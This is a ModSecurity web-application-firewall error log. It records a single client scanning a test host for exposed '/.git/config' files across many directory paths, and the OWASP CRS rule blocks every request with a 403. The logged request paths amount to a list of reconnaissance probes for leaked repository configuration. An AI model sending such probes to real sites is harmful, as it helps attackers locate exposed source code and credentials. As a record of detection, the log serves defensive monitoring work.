[Wed Apr 03 09:03:55.040878 2024] [:error] [pid 2228848] [client 91.215.85.29:53138] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ45QAAAAA&quot;]
[Wed Apr 03 09:03:55.041243 2024] [:error] [pid 2228848] [client 91.215.85.29:53138] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ45QAAAAA&quot;]
[Wed Apr 03 09:03:55.043824 2024] [:error] [pid 2230840] [client 91.215.85.29:53142] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEPQAAAAo&quot;]
[Wed Apr 03 09:03:55.044108 2024] [:error] [pid 2230840] [client 91.215.85.29:53142] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEPQAAAAo&quot;]
[Wed Apr 03 09:03:55.044284 2024] [:error] [pid 2230840] [client 91.215.85.29:53142] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEPQAAAAo&quot;]
[Wed Apr 03 09:03:55.061600 2024] [:error] [pid 2228853] [client 91.215.85.29:53192] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQdQAAAAU&quot;]
[Wed Apr 03 09:03:55.061818 2024] [:error] [pid 2230841] [client 91.215.85.29:53184] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvjgAAAAs&quot;]
[Wed Apr 03 09:03:55.061940 2024] [:error] [pid 2228853] [client 91.215.85.29:53192] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQdQAAAAU&quot;]
[Wed Apr 03 09:03:55.062165 2024] [:error] [pid 2228853] [client 91.215.85.29:53192] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQdQAAAAU&quot;]
[Wed Apr 03 09:03:55.062356 2024] [:error] [pid 2230841] [client 91.215.85.29:53184] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvjgAAAAs&quot;]
[Wed Apr 03 09:03:55.062785 2024] [:error] [pid 2230841] [client 91.215.85.29:53184] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvjgAAAAs&quot;]
[Wed Apr 03 09:03:55.071137 2024] [:error] [pid 2228852] [client 91.215.85.29:53218] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;Zgz_Ww-iKLEE0C6YcDZSxwAAAAQ&quot;]
[Wed Apr 03 09:03:55.071570 2024] [:error] [pid 2228852] [client 91.215.85.29:53218] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;Zgz_Ww-iKLEE0C6YcDZSxwAAAAQ&quot;]
[Wed Apr 03 09:03:55.071909 2024] [:error] [pid 2228852] [client 91.215.85.29:53218] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;Zgz_Ww-iKLEE0C6YcDZSxwAAAAQ&quot;]
[Wed Apr 03 09:03:55.077625 2024] [:error] [pid 2230842] [client 91.215.85.29:53202] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;Zgz_W9bzVbhphexfEPwWCAAAAAw&quot;]
[Wed Apr 03 09:03:55.078086 2024] [:error] [pid 2230842] [client 91.215.85.29:53202] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;Zgz_W9bzVbhphexfEPwWCAAAAAw&quot;]
[Wed Apr 03 09:03:55.078478 2024] [:error] [pid 2230842] [client 91.215.85.29:53202] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;Zgz_W9bzVbhphexfEPwWCAAAAAw&quot;]
[Wed Apr 03 09:03:55.090588 2024] [:error] [pid 2228850] [client 91.215.85.29:53224] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;Zgz_W0L5fnNG-RUF8dnHGwAAAAI&quot;]
[Wed Apr 03 09:03:55.091063 2024] [:error] [pid 2228850] [client 91.215.85.29:53224] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;Zgz_W0L5fnNG-RUF8dnHGwAAAAI&quot;]
[Wed Apr 03 09:03:55.091368 2024] [:error] [pid 2228850] [client 91.215.85.29:53224] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;Zgz_W0L5fnNG-RUF8dnHGwAAAAI&quot;]
[Wed Apr 03 09:03:55.094844 2024] [:error] [pid 2228849] [client 91.215.85.29:53232] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /application/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;Zgz_W7xBoV88e0MwmeBjIQAAAAE&quot;]
[Wed Apr 03 09:03:55.095328 2024] [:error] [pid 2228849] [client 91.215.85.29:53232] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;Zgz_W7xBoV88e0MwmeBjIQAAAAE&quot;]
[Wed Apr 03 09:03:55.095711 2024] [:error] [pid 2228849] [client 91.215.85.29:53232] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;Zgz_W7xBoV88e0MwmeBjIQAAAAE&quot;]
[Wed Apr 03 09:03:55.129759 2024] [:error] [pid 2230843] [client 91.215.85.29:53238] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhBAAAAA0&quot;]
[Wed Apr 03 09:03:55.130311 2024] [:error] [pid 2230843] [client 91.215.85.29:53238] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhBAAAAA0&quot;]
[Wed Apr 03 09:03:55.130760 2024] [:error] [pid 2230843] [client 91.215.85.29:53238] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhBAAAAA0&quot;]
[Wed Apr 03 09:03:55.134776 2024] [:error] [pid 2230835] [client 91.215.85.29:53248] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /beta/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclWQAAAAY&quot;]
[Wed Apr 03 09:03:55.135064 2024] [:error] [pid 2230835] [client 91.215.85.29:53248] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclWQAAAAY&quot;]
[Wed Apr 03 09:03:55.135294 2024] [:error] [pid 2230835] [client 91.215.85.29:53248] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclWQAAAAY&quot;]
[Wed Apr 03 09:03:55.139047 2024] [:error] [pid 2228848] [client 91.215.85.29:53272] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /blog/wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ45gAAAAA&quot;]
[Wed Apr 03 09:03:55.139307 2024] [:error] [pid 2228848] [client 91.215.85.29:53272] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ45gAAAAA&quot;]
[Wed Apr 03 09:03:55.139524 2024] [:error] [pid 2228848] [client 91.215.85.29:53272] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ45gAAAAA&quot;]
[Wed Apr 03 09:03:55.148001 2024] [:error] [pid 2230840] [client 91.215.85.29:53262] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /blog/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEPgAAAAo&quot;]
